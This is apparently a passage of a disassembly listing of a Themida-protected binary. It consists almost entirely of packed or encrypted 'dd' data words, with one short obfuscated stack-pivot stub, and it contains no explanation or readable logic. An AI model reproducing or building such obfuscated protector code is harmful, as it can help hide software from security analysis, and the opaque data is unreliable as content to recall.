		dd 75FC7AE0h, 0E840B1D2h, 3F3C5h, 41C4C700h, 6124253Dh
		dd 0F9AE42DEh, 0F9312A2Ch, 8DA823E5h, 3D7607F1h, 0CF347CAh
		dd 2962A35Ch, 10B4DC9Dh, 4820B134h, 306622FAh, 0B45C74AFh
		dd 7A958D8h, 19DC6DC1h,	2B05347Dh, 0CF8819BBh, 75FB085Ch
		dd 0C1BB123Dh, 0E51EEDE4h, 5C8C9E1h, 218B2669h,	0C78A1BB5h
		dd 31714C44h, 0F9C23F04h, 0E5837CC0h, 69FF0014h, 0A2F6A1A0h
		dd 1967E267h, 680h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh
		dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h,	0B54A5E2Fh
		dd 3B80E2B3h, 47CC0B9Fh, 0E0308E30h, 3D000119h,	0F98A1EBAh
		dd 74052A2Ch, 0DB2CC83Bh, 4E341001h, 3FC004BDh,	0EB6E6629h
		dd 5A9DAACFh, 4D75DE17h, 76F93F37h, 417C46DAh, 0CA35C930h
		dd 13A4E59Eh, 0BDBED6DAh, 840D5EFAh, 0EF803A24h, 89B1A92Ch
		dd 0F7D83C99h, 0A7B04420h, 9A2B2A2Dh, 4DFF0062h, 85BE265Ch
		dd 0EDC9C104h, 64F9806Fh, 40D47033h, 0BB2A2D8Bh, 52ADF12Ah
		dd 31C561E4h, 0AC2A2D8Bh, 8AAB3F1Bh, 9D2E2A2Dh,	0F00F530Ch
		dd 5CC0BF78h, 0B6B24D1Ah, 19AAA2E5h, 0F1D3DCDFh, 0CF72ACE5h
		dd 0C2699321h, 2B4h, 119C4h, 9C66BA3Dh,	690995CEh, 1C3417CBh
		dd 9274C88Bh, 0BFB0FE0h, 3DCE9C64h, 43BD1184h, 0C362EE27h
		dd 263047C7h, 4406712Eh, 70A9A56Fh, 0CC95D32Ch,	195EAE93h
		dd 75F341BCh, 0C1000005h, 4256274Bh, 0C5D9AAC0h, 4A5E2F3Bh
		dd 0CCE0B1B7h, 5267383Ah, 2C46C0ADh, 0B4BC475Bh, 3A36CFE3h
		dd 0BEAA5569h, 0AA468BEDh, 3047CD16h, 0AAEB3B99h, 6BFA956h
		dd 70293FC2h, 61659E2Fh, 0E9854849h, 3417CB49h,	7FF2AB3Ch
		dd 0D396DA2Bh, 47C7A337h, 5C952630h, 0B081E718h, 4205639Ch
		dd 0C78F23BFh, 760A3047h, 0B94DDE8Ch, 83EC254Dh, 0EFA8C03Fh
		dd 4EEA8CF0h, 0C79B2FCBh, 8D1E3047h, 0D2EF1054h, 0C44256D3h
		dd 0A467F8D0h, 0EEF18521h, 0DB6C3047h, 741721A2h, 216FAE11h
		dd 0CF3235CDh, 0E9FE099h, 0AEDB1455h, 1CCh, 9B26D9B0h
		dd 194D0A42h, 39F283A4h, 8D5E0AF5h, 0DDA0A1B9h,	3AF37789h
		dd 0B14DC0F9h, 341102C8h, 264AB90Dh, 3BD79AEDh,	3041E1A7h
		dd 3D009122h, 0E9541A45h, 1AB6ABF2h, 3041D486h,	0AEE77809h
		dd 0D521B945h, 4EB33041h, 0E91D611Ah, 0E135D089h, 0AFD02E85h
		dd 0ED023F85h, 0C2A40A5Ch, 0B347E366h, 363041ABh, 8F326CA5h
		dd 826FA7CAh, 44h, 0AC56AA84h, 92D82ABEh, 393D5559h, 0A7E8A1C9h
		dd 7CD05316h, 8622E583h, 2A2CF9F2h, 17A3DC6Dh, 34101FDEh
		dd 0CD5912A3h, 30411435h, 9670C409h, 20DF23DCh,	0EA7EB748h
		dd 3642E58Ch, 0A0356FA7h, 37000000h, 894226D9h,	0F8B1C145h
		dd 641D4BB4h, 0B889DF20h, 2C060E5Ch, 0FA095D2Ah, 346961CFh
		dd 5BECE07Ch, 0F9DBBAA2h, 2B3C7Ah, 0DF2366Fh, 9EB68A5Bh
		dd 473EDA9Dh, 0A2341419h, 7DB6B44Eh, 82D6992Ah,	91DEE84h
		dd 0DD1DCEFDh, 0DC63D4D8h, 5453824Bh, 0DD58E6ADh, 3BF8Fh
		dd 0DD957700h, 600AF80Ch, 0E5857B8Fh, 67010014h, 0EE848296h
		dd 76D3081Dh, 0FD11E290h, 85996A06h, 0B1FF080h,	41A374F4h
		dd 0CECC60FCh, 0F14F3047h, 452DD9A1h, 29DD3174h, 0F9E77B17h
		dd 0D1622A2Ch, 3CC30740h, 0D90D5B2Ch, 0A3C23F26h, 0EB7C0D5Dh
		dd 0A03CBF32h, 2A2CFA0Ch, 6206FB8Fh, 9ED768A9h,	0F2C3A55Ah
		dd 4205061Eh, 0F3B318EEh, 2A6D9E47h, 92053ECFh,	10B891F6h
		dd 8D29EC34h, 304180F9h, 9952E374h, 4180730Dh, 0F074A30h
		dd 82C5D9B2h, 0EB7FB863h, 3041C8Bh, 0A03FA440h,	469A3A24h
		dd 0B5F6AFB9h, 0C798297Ch, 6AD63084h, 2D923ACEh, 9324B52Ah
		dd 37CB67DAh, 0B22A2D92h, 0D9579021h, 181026D9h, 28B321E2h
		dd 12A682AEh, 8D2A2DCEh, 6EB26BFCh, 3206D791h, 0BA56191Ah
		dd 3410FED1h, 5EEAA334h, 3041DDC6h, 0FE01559Ah,	0D99D316Ah
		dd 0A7FCF598h, 3CE86Fh,	19EA0000h
		dd 0A13D0001h, 34102068h, 8322AEDh, 5493B5FFh, 7B790DE9h
		dd 38D43041h, 30417BA4h, 5FF39627h, 0CE0FC8A0h,	67F3AC3Dh
		dd 30417BCFh, 38393DA3h, 6FA79E95h, 0E588h, 26D98A00h
		dd 0F9E07410h, 956A2A2Ch, 0E9F30D3h, 3559534Bh,	48F1D02Ch
		dd 0E8214FB4h, 0A7CB3B7Fh, 31C561E4h, 0AC2A2DCAh, 4D2F0474h
		dd 1BAC368Eh, 0CA3579E2h, 5EA1E59Eh, 8FDD390Ah,	92A2C66h
		dd 10A440F6h, 8B2A2D5Eh, 559869FAh, 9B6A0501h, 0C70B44D5h
		dd 4773038h, 0E0194FB0h, 46C0C4DCh, 3CD89B2Ch, 34108DE3h
		dd 3004D566h, 541718h, 0D29E6700h, 8E47D819h, 5A1144Dh
		dd 3A28050Ch, 0A9FDC051h, 144155Dh, 5B1454ADh, 699DE11Ah
		dd 0EC234009h, 219CE0B9h, 1EFD3h, 0ADC54700h, 303AC8DCh
		dd 0B5B54B5Fh, 3731D0E4h, 0BEB45266h, 4623D8EDh, 0CDE1B2C0h
		dd 55693A36h, 0DBEFC0B0h, 11734424h, 0D09C30CCh, 0C11F3047h
		dd 9E2DD971h, 0BF625433h, 0E1A435FEh, 4C9B09E9h, 79B2818Ah
		dd 4D1BE4F8h, 0B2AA2E7Ch, 4A0C75Ah, 2A2DF870h, 0C3225AEBh
		dd 0FC003943h, 9D20E3E4h, 0E20F13A5h, 73ACDE38h, 10A7AEE7h
		dd 0C13F9334h, 76AFF0A9h, 66D99223h, 0B14DF112h, 30418C1Dh
		dd 0C57E0FA0h, 27BF4B84h, 0FB30418Ch, 0ED90D195h, 0E06FA7AEh
		dd 0D3h, 5FB2AAE2h, 1BC42E24h, 44BBFF38h, 0DF276B24h, 4EDA93h
		dd 7A2A2CAAh, 2820E385h, 0F81A1E57h, 5EEB952Eh,	0A02B9C9Ah
		dd 4155D60Fh, 0EDF1AABEh, 7511D4D5h, 3410851Ch,	0EBBF9021h
		dd 7004A0D3h, 0FA304164h, 1C46709h, 4164D165h, 2ABB4C30h
		dd 7E82D699h, 0B9F233ECh, 20D0AA46h, 0B0333A28h, 2FD88014h
		dd 316AFB2Ah, 78A4DDEh,	631C4CB3h, 0A78FEA22h, 0A5F097DEh
		dd 94DE286Ch, 1B57AFC3h, 0B9992F52h, 0CB1994E0h, 0CCh
		dd 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h, 10E19175h
		dd 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h, 0EF349667h
		dd 47D1BF53h, 8CDC3A30h, 565DB2AAh, 312CB730h, 2052B4F8h
		dd 0A4C43B4Fh, 0C43C90D3h, 0D9EF6DA6h, 45894226h, 9DDAEBAh
		dd 912DF0F1h, 3417CBEDh, 246FF90h, 869A6BFDh, 0B9484879h
		dd 0BE4454C9h, 0AE8742Dh, 0B9A07C57h, 0A9560165h, 46894318h
		dd 7C0DCA9Fh, 0EF1468ABh, 0C487C881h, 0BF49428h, 4D861794h
		dd 0B972F609h, 0A5358C75h, 3B9070FDh, 7509A568h, 0F8940B6Ch
		dd 0F51DD667h, 0E7340800h, 6FE5FD35h, 93C4A236h, 172BFC6Ch
		dd 1EB24EE8h, 0A1940B98h, 53C67F10h, 316A06FFh,	3E3h, 1BAB1300h
		dd 863F33D9h, 0F2ABBD42h, 601957AEh, 0D089E71Ch, 3FF87A8Ch
		dd 0AE670BFBh, 18D1976Ah, 853E2CD4h, 0F0A9C141h, 736568EAh
		dd 2C890000h, 4EC8324h,	68243C89h, 1081h, 68241C89h, 61ACEE6h
		dd 83243C8Bh, 8B5404C4h, 0C481241Ch, 4,	4EC81h,	4890000h
		dd 8B824h, 0D8010000h, 0FF583889h, 815B2434h, 4C4h, 243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		db 90h,	2 dup(1Dh)
		dd 82B8F548h, 3061AD9h,	10E0FFC5h, 5A5ACF7Fh, 7F2D5533h
		dd 2D0F3478h, 284F3B7Bh, 0B6755688h, 434E307h, 234CE99Fh
		dd 1B6DE3E6h, 0F55152D9h, 977125Fh, 9011D5F1h, 0DA4B2324h
		dd 0E81B1B33h, 12h, 7F0EB223h, 0DAD63271h, 9D360034h, 1572D9E4h
		dd 0C38BB534h, 0FE85Fh,	980B0000h, 2A442620h, 5D012DCEh
		dd 0DFE0AD7Dh, 0F18B66BCh, 16C78158h, 0B6000071h, 0F014BB40h
		dd 0EB8105ACh, 5ACD407h, 0CE960h, 0C14E0000h, 438A0632h
		dd 0D4035B92h, 8E90A49h, 0D4000000h, 15D5E389h,	617E557Dh
		dd 0FE90F8Bh, 0BC000000h, 2D62A9Ch, 735EEFE8h, 0A2824AB4h
		dd 0F181E79Eh, 48837070h, 42C181F5h, 0F7DB6CBh,	580h, 0DC09B800h
		dd 0F1812B7Fh, 46AAE659h, 5E1F90BEh, 0BA66513Eh, 78F18C6h
		dd 6840Fh, 0C6810000h, 28373190h, 0B604EF83h, 1EB8181h
		dd 0F000000h, 1585h, 0C28B6600h, 21E9h,	1FF75A00h, 40F37CC7h
		dd 6E95B527h, 8166EE83h, 0E918CCD6h, 0FFFFFF84h, 454264AAh
		dd 49D16h, 8D8D8366h, 61ADB82h,	88A0Fh,	81500000h, 0A02BE1C6h
		dd 8D895A03h, 6143229h,	64D85C7h, 71A00614h, 0E6800000h
		dd 7185C795h, 61426h, 8B000000h, 1426819Dh, 14E806h, 0D8030000h
		dd 0FB393D80h, 0B3C05DA2h, 89AE426Fh, 92327535h, 9D016BB4h
		dd 6140AD1h, 11B5FF58h,	0F061421h, 95FFC7BFh, 6142361h
		dd 23A1BD8Bh, 6A0614h, 116995FFh, 0C08B0614h, 0BADD29EBh
		dd 0A80AC225h, 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h,	0AB50184Dh
		dd 0CF6DB88h, 0BDA0F35Ch, 113E312Bh, 655AB646h,	0E8A26A4Bh
		dd 14h,	20175F1Fh, 0AE37696Fh, 0E092C664h, 0AD1F1D8Ah
		dd 279CA73Ah, 9018D89h,	815E0614h, 6F49C6h, 0C6BF0F00h
		dd 0B9h, 1DBD2900h, 8B06140Ch, 8B0F0E1Ch, 0
		dd 0BE4DEB81h, 830F22B1h, 6, 0A499533h,	0EB810614h, 4F463E3Eh
		dd 3860Fh, 0BF0F0000h, 15F381FBh, 89711526h, 1406618Dh
		dd 8FF95306h, 0B5010E04h, 6140549h, 8E58D89h, 0E9830614h
		dd 0E99D8904h, 81061434h, 0FF9144F9h, 0A4850FFFh, 89FFFFFFh
		dd 143501B5h, 0EE806h, 0FD680000h, 7C2F3CDCh, 0B136FC1Bh
		dd 53A5338Ch, 6840F59h,	89000000h, 1409D185h, 3FC18106h
		dd 0E9000061h, 0Ah, 523CB1C6h, 2D8C4B47h, 26BBEEE7h, 0F000018h
		dd 398BF2BFh, 0C7D8529h, 0EF810614h, 0D5CFF31h,	0CEE2C781h
		dd 8C0F519Dh, 6, 1725BD29h, 0F7810614h,	9DC0D92h, 1941B58Bh
		dd 39890614h, 8B03E983h, 141625B5h, 81F54906h, 1EBh, 12850F00h
		dd 0E9000000h, 29h, 0B9E9375Ah,	7BF01AB8h, 10747925h, 2820F6Ch
		dd 0B6000000h, 0FF9CE935h, 0A43EFFFFh, 473DEE69h, 0B048A2FCh
		dd 0E3CFD71Eh, 10E983h,	0CE230000h, 4FD1h, 2 dup(0)
		dd 0ADE90000h, 68000004h, 61ADDFCh, 0F9A106E9h,	0DE6068FFh
		dd 0FCE9061Ah, 68FFF9A0h, 61AE00Fh, 0F9A0F2E9h,	239C40FFh
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	0C4AC9298h
		dd 0C5C0580Ch, 0F8C5125Eh, 24973F4Ch, 0D888F6D2h, 0FA00C890h
		dd 51F1E814h, 8DD10028h, 57E51CCEh, 4C145C84h, 5FC6046h
		dd 0E6D3E358h, 0C3D267B2h, 3CA6D5FDh, 5F914F6h,	5DFD1F58h
		dd 0D9E11F46h, 30ADFF8h, 17F60000h, 8632874Ah, 4DB3FF2Eh
		dd 569E42B0h, 0E5020550h, 2B7A5157h, 7770C8A0h,	401DA1D0h
		dd 247C2891h, 2C97EB8Ch, 0B4B52924h, 7B529A46h,	0C657B496h
		dd 292F5E15h, 600AFC23h, 0BE6A925Bh, 549C44B2h,	7426594Eh
		dd 1B638B61h, 0E133884Eh, 0BE9D204h, 351C9215h,	36283620h
		dd 0E000003h, 0C29FF1CEh, 7D5AAC11h, 37146655h,	0ECC91B9Eh
		dd 4780D2EBh, 25983F71h, 0DEDBF6D3h, 9629AF8Ch,	4C6F6744h
		dd 6066EEFAh, 580CC57Ah, 132C938Eh, 0ABB1F9A5h,	57EAC4CAh
		dd 9C64ACD4h, 58F709CFh, 0C4299D6h, 8C97C65Eh, 4320724Bh
		dd 377D2994h, 580CBB56h, 0E0BEFDD9h, 3EA4FD4Ah,	0D20715FFh
		dd 72000002h, 2603556Ah, 0E1BE10ADh, 9B78CAF1h,	502D7F3Ah
		dd 0ABE43687h, 8934A30Dh, 42775A37h, 0FAC513F0h, 0B00BCBA8h
		dd 0C4CA525Eh, 580CC5DEh, 1390F7F2h, 5D4349A5h,	7151F1E8h
		dd 0EEEBF249h, 0FF0AA7F8h, 38191F67h, 4257EB9Ah, 46286E1Ah
		dd 51580D9Ah, 0ED78132Fh, 11F8D23Bh, 1ECh, 0F7C41228h
		dd 0B85CD8AFh, 606C9B15h, 469E4A73h, 8157FAEh, 0CEA5EDCEh
		dd 7B1A9649h, 38487752h, 0FA42EE5Ch, 0E54A61F4h, 0FBA7CF57h
		dd 629D3B5h, 3B08DE58h,	516E6A9Ah, 86B50DB9h, 0E87D1634h
		dd 76F8D9ABh, 31C2A8AEh, 0AED65806h, 72197Fh, 17300000h
		dd 9787840h, 4B7A745Eh,	0E32BD341h, 9A93441Bh, 51CA5174h
		dd 0A81BDE22h, 9A6757E5h, 7DD5813Eh, 0EA19A230h, 6E4D8966h
		dd 1C226AC2h, 5806A836h, 428A224Ah, 2D5C6375h, 0A79B7DC3h
		dd 0D0A65806h, 0A5EDD003h, 6A7B99Fh, 76A5CD58h,	0F86D6624h
		dd 66F8D931h, 0B3B2989Eh, 933F5806h, 5E247C28h,	2E8EE36h
		dd 165806B4h, 0D259BFEEh, 70000000h, 0AFF7C412h, 33191FE7h
		dd 4751F1E8h, 0E7B3991Fh, 9FC751F1h, 0DEF90670h, 0B02633DFh
		dd 84525F0Bh, 2127EF37h, 51F1E83Bh, 0E7E1C7CDh,	0CDF551F1h
		dd 0A0B0DF07h, 0F1ECCA8Ah, 0F0CB0B51h, 57EFC69Eh, 58A78E5Eh
		dd 94020C3Bh, 0FDCA4ECh, 896FF5C8h, 9D51F27Fh, 3A404675h
		dd 57E755A1h, 0CE9BE30Bh, 8086B50Ah, 0E3E924B3h, 580934FDh
		dd 0FF51E911h, 3F7C5A27h, 9F858B93h, 0B3580934h, 0B9C4F38Bh
		dd 73C19F1Eh, 0EA3EA882h, 123F200h, 0BB210000h,	0FED5B204h
		dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h,	0E6388552h
		dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580CC7h
		dd 0C5123FA6h, 812D9043h, 7C499129h, 27376657h,	0DD2F8C4Ah
		dd 0F7C41224h, 6E983E4Bh, 52AA5663h, 53EBD205h,	4375340Bh
		dd 751A3DF6h, 0EC5A3646h, 0F525FC44h, 64674C57h, 0CA9298C7h
		dd 0A416FC02h, 4D2A51F2h, 709F3786h, 0E610C12Ch, 5FA7CF57h
		dd 26784592h, 6F22E10h,	9823B358h, 37A16E46h, 894E5988h
		dd 8A7A8834h, 0D1000000h, 0B1F9A513h, 0EAC4BEABh, 0FCA8D057h
		dd 0B91FE7EFh, 53435A06h, 0E78132DBh, 9FF18921h, 13F9FFC7h
		dd 27580C2Eh, 11C5D0FFh, 1FF6FEAAh, 0F2D48E0Dh,	0FF437262h
		dd 21D53640h, 0B521EE06h, 8B4D5A06h, 1B6D9C34h,	0AA11C57Fh
		dd 605B7B58h, 8B2EA7B4h, 8BFF6C43h, 336893E0h, 0A3459A04h
		dd 7D894DE7h, 61B96554h, 3C9A77C9h, 0A560377Fh,	216E7E2Fh
		dd 8B990332h, 11h, 6C4ECC3h, 0D1553FA5h, 5EE4BBA2h, 4C7B4291h
		dd 0F5CA1265h, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 895233B8h
		dd 4C281E2h, 83000000h,	148704EAh, 24248B24h, 4D0C68h
		dd 243C8900h, 4E5168h, 240C8900h, 1ADD2E68h, 243C8B06h
		dd 4C481h, 8B540000h, 0C483240Ch, 8BA5204h, 81000000h
		dd 1E1993EAh, 81CA012Bh, 1E1993C2h, 5A3A892Bh, 592434FFh
		dd 0FF04C483h, 835F2434h, 68E904C4h, 7FFF99Ch, 3F784544h
		dd 1AE157B8h, 0FFC50306h, 6A7B87E0h, 3B177909h,	97222667h
		dd 3DF8134Dh, 3EE97B1Dh, 99F43E62h, 0E888BB79h,	380A8014h
		dd 0DF3F862Bh, 54959E68h, 0F28D8D3Bh, 6A061AE2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 637C356h, 32298D89h,	95330614h, 6140BB5h, 64D85C7h
		dd 64280614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0C77BCAC3h, 14267185h, 6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 113DE840h, 99BD33CBh, 60061421h, 0A58D8960h,	8B061425h
		dd 141D898Dh, 85296106h, 61400F5h, 91B5FF61h, 6A061405h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C10C351h, 0CC228136h, 500A329Dh,	0F81B58Bh
		dd 0FF5F0614h, 14236195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7FF140CDh
		dd 0DA8B113Ah, 5DBD33h,	6A0614h, 116995FFh
		db 14h
byte_5B6ED1	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0054B184o
		dd 721A7FEBh, 4E6179D8h, 0B771EACBh, 0EDDA9997h, 5D69D55Fh
		dd 1BF24695h, 54F1C7DAh, 6931BC25h, 0E66212D1h,	8BA73FC3h
		dd 29F67E94h, 439D8FC0h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah
		dd 1F055D19h, 9F0013C5h, 1A332BA7h, 2B218799h, 0D23DDBA5h
		dd 1CDDAF2Ch, 18D99A4Ah, 8930CB3Ch, 3D1890D7h, 80547641h
		dd 0C9A8B459h, 781F0257h, 83FDD9B9h, 18AB40C7h,	0DB1F5B8Eh
		dd 0EF2E510Fh, 3F80CA04h, 0A18D8DDAh, 6A061AE4h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B6D4C356h, 324B2D08h, 0FE918h, 0CE590000h, 35A932A2h
		dd 0BDFADD15h, 6008138Dh, 0DDB58BD1h, 89061402h, 1432298Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0B9ADEC1Eh, 166131C4h, 9533EE11h, 614235Dh
		dd 0EE9h, 0F616EC00h, 0E6EACE11h, 0C00FE4DBh, 0C72FA0F5h
		dd 14064D85h, 5D9806h, 0B71BF00h, 0BD314110h, 61431CDh
		dd 267185C7h, 614h, 95890000h, 6142E6Dh, 0C4DB5FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h, 0Fh, 9D2B390Dh, 0D9941C47h
		dd 94768102h, 0F38897Bh, 38Eh, 0F9BF0F00h, 6195FF58h, 6A061423h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 2885C350h, 0C5C9F65Eh, 3F75201Dh,	6DDF8166h
		dd 0FF006AC9h, 14116995h, 0EBC08B06h, 0E3BD284Ah, 38A83DE9h
		dd 355F8D31h, 0E6AB166Bh, 3A6BB97Ah, 197E4175h,	5004EDB1h
		dd 5AB5EA67h, 0D28146A2h, 4BE24048h, 34FE8419h,	236542C4h
		dd 0BB76DE8Ah, 0C8927E18h, 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch
		dd 0CC3D65FCh, 0E8995766h, 6, 0BB8CB9A5h, 0F55BFFEEh, 5CA6C381h
		dd 810F0000h, 6, 2E418589h, 0FABF0614h,	89000016h, 1430F18Dh
		dd 8B038B06h, 140D3595h, 1EC08106h, 6053B31Ch, 8B53C3B3h
		dd 816159CEh, 933E0E8h,	12E94Eh, 55150000h, 2C4B2726h
		dd 0A75B3616h, 41AF2057h, 53A938F0h, 7FA6F081h,	0FE97A9Dh
		dd 0B6000000h, 0A8E2B756h, 7BE0A9D7h, 0BC2781B5h, 8B503EBBh
		dd 0E9038FF2h, 0Ch, 27388ED7h, 0B192F1FDh, 0F6DE0A50h
		dd 6604EB83h, 81DA23B9h, 1EFh, 11850F00h, 66000000h, 0E9ED7CB9h
		dd 1Eh,	24D1431Fh, 5F21F38Bh, 200BBE66h, 0FFFF70E9h, 0C9F9FFFh
		dd 0D0F64717h, 6DD4B708h, 11E8C9F8h, 7C000000h,	3E25AEA6h
		dd 66AEA9BDh, 0BF0C2751h, 37CE5484h, 0F08B6659h, 75CCC181h
		dd 0C38A0000h, 0BFh, 0C6B70F00h, 8A0F34FFh, 89605AFCh
		dd 1400919Dh, 0C5858906h, 6106141Bh, 0DEE8EA81h, 0E3812AE2h
		dd 12319672h, 13E2F281h, 81660517h, 814387D0h, 0C7BC23F2h
		dd 0C28B6642h, 0B1B50152h, 8F06140Bh, 860F3904h, 3, 0F89E080h
		dd 688h, 49B52300h, 83061419h, 84BE04EFh, 8154C9B3h, 0FF8AF4FFh
		dd 1A850FFFh, 89000000h, 1422DD85h, 2DE906h, 28D90000h
		dd 4FFCA2h, 0BDCA5BFBh,	0F80CD2DDh, 0C314B84Eh,	75E91D07h
		dd 0ACFFFFFFh, 769CC805h, 0A4327FB9h, 51BA61ADh, 3F50EC13h
		dd 8DF22E6Ah, 1AE75D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0A53FD16Ch, 4B10A967h
		dd 2DB58977h, 66061400h, 8D89F98Bh, 6143229h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9AC35747h, 64D85C7h
		dd 72840614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0EADE56C3h, 0BB74DA96h, 0FA37636h
		dd 0B86h, 58D0F00h, 66000000h, 5B76EF81h, 267185C7h, 614h
		dd 0D3810000h, 599E9B88h, 0C4DB5FFh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7BCE50C3h
		dd 0AE01AC6Bh, 0FFDA8B4Eh, 14236195h, 0FF006A06h, 14116995h
		dd 0EBC08B06h, 0EDC9EE4Ah, 88A98F8Ch, 899C3179h, 6252799Bh
		dd 8728E4A6h, 0FAAEB506h, 25439360h, 9EB3C1B1h,	0B0D49C86h
		dd 0AB5CE4CAh, 0E6904A4h, 18D02664h, 9A6E7A7Dh,	0A3A39605h
		dd 86DC5F5Eh, 0C9F333B2h, 8F9FD838h, 2C6AF582h,	8DAC6127h
		dd 1AE8918Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 1D293DF0h, 298D89FCh, 6A061432h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 7F7AC357h, 895A1C0Dh, 1425F59Dh, 4D85C706h
		dd 0F0061406h, 6A000072h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 7CE9C357h, 1A20FC8Dh
		dd 0F2C3088h, 687h, 59B58900h, 2906140Ch, 1420318Dh, 0F8BF0F06h
		dd 267185C7h, 614h, 6E90000h, 7000000h,	13D61DCBh, 4DB5FF2Bh
		dd 6A06140Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 1A68C357h, 65C956C0h, 0FF44DF78h
		dd 14236195h, 0FEBB6606h, 0FF006A36h, 14116995h, 0EBC08B06h
		dd 0AC02324Ah, 7138684Eh, 0F34C4295h, 75735510h, 0F1E1F080h
		dd 4D30CF2Eh, 0CDDAF9D0h, 2E9B4813h, 0DDB169D1h, 0DE8E253Eh
		dd 0FB623912h, 6712B7Dh, 0C16D20Fh, 1D4B467Ch, 41274C56h
		dd 20D9D2B8h, 979F3011h, 0C4F623B1h, 8D8615B4h,	1AE9758Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 8D9D3111h, 89061421h, 1432298Dh,	6E906h
		dd 5AA90000h, 4BC8BA6Eh, 2B99589h, 85C70614h, 614064Dh
		dd 6074h, 0C359D89h, 85C70614h,	6142671h, 0
		dd 955B589h, 0B5FF0614h, 6141071h, 236195FFh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 434AD7C3h, 0C3F22D2h, 0FF006AB7h, 14116995h,	0EBC08B06h
		dd 1D7A820Fh, 653A7B4Fh, 10BAE66Bh, 2C1C3F32h, 0BE8h, 0C2231D00h
		dd 0C22737A8h, 0C5A7A984h, 36A1B966h, 0D7BF0F5Bh, 5E42C381h
		dd 81660000h, 6838D8F2h, 1768h,	0B9E4805Fh, 8960338Bh
		dd 1402F9BDh, 0F2816606h, 8161946Ch, 0F90202EEh, 0BFF5601Dh
		dd 54D23B7Dh, 6DC68161h, 8B057492h, 66F681C8h, 810E0006h
		dd 3125AFE0h, 3338945h,	142C6585h, 0BFEB8106h, 0F0FF384h
		dd 585h, 0CF48B900h, 0C381748Bh, 0FF384BBh, 1EF83F5h, 0FFA6850Fh
		dd 8B0FFFFFh, 1Fh, 198A0Fh, 13E80000h, 0D2000000h, 0EFEF1F8Fh
		dd 0F16E333Fh, 0BD8FE03Dh, 8154FDB0h, 0E8596DD0h, 10h
		dd 0B3BA5B0Bh, 0AA32F49h, 0E8A7160Fh, 0B784401Ah, 21E78166h
		dd 0C1815970h, 5BC3h, 3CD952Bh,	0CF680614h, 0F000016h
		dd 87h,	0BF665800h, 198BB313h, 540ABF66h, 7E8BEB81h, 8D895CF0h
		dd 614306Dh, 7983C381h,	98B26211h, 17F5C381h, 840F7E1Ah
		dd 6, 31A5BD8Bh, 19890614h, 0E981F38Bh,	31AF55EFh, 0CDD9D89h
		dd 0C1810614h, 31AF55EBh, 25B59D89h, 0E8810614h, 1, 0FFAC850Fh
		dd 8166FFFFh, 8D8B5AF6h, 1AEBAE8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 24C526D3h
		dd 68F0Fh, 0CE810000h, 123ABDBAh, 32298D89h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 17C12DC3h, 85C7DCB4h, 614064Dh, 751Ch, 267185C7h, 614h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 438974C3h, 4ACD1B9Bh, 0B5899021h,	6140621h
		dd 0D49B5FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 27C38EC3h, 33FDC9DEh, 0FFF90CA4h
		dd 14236195h, 10E96006h, 0EF000000h, 8860C9ABh,	8D1F3D76h
		dd 2B5E176Dh, 61E22958h, 31458D89h, 6A0614h, 116995FFh
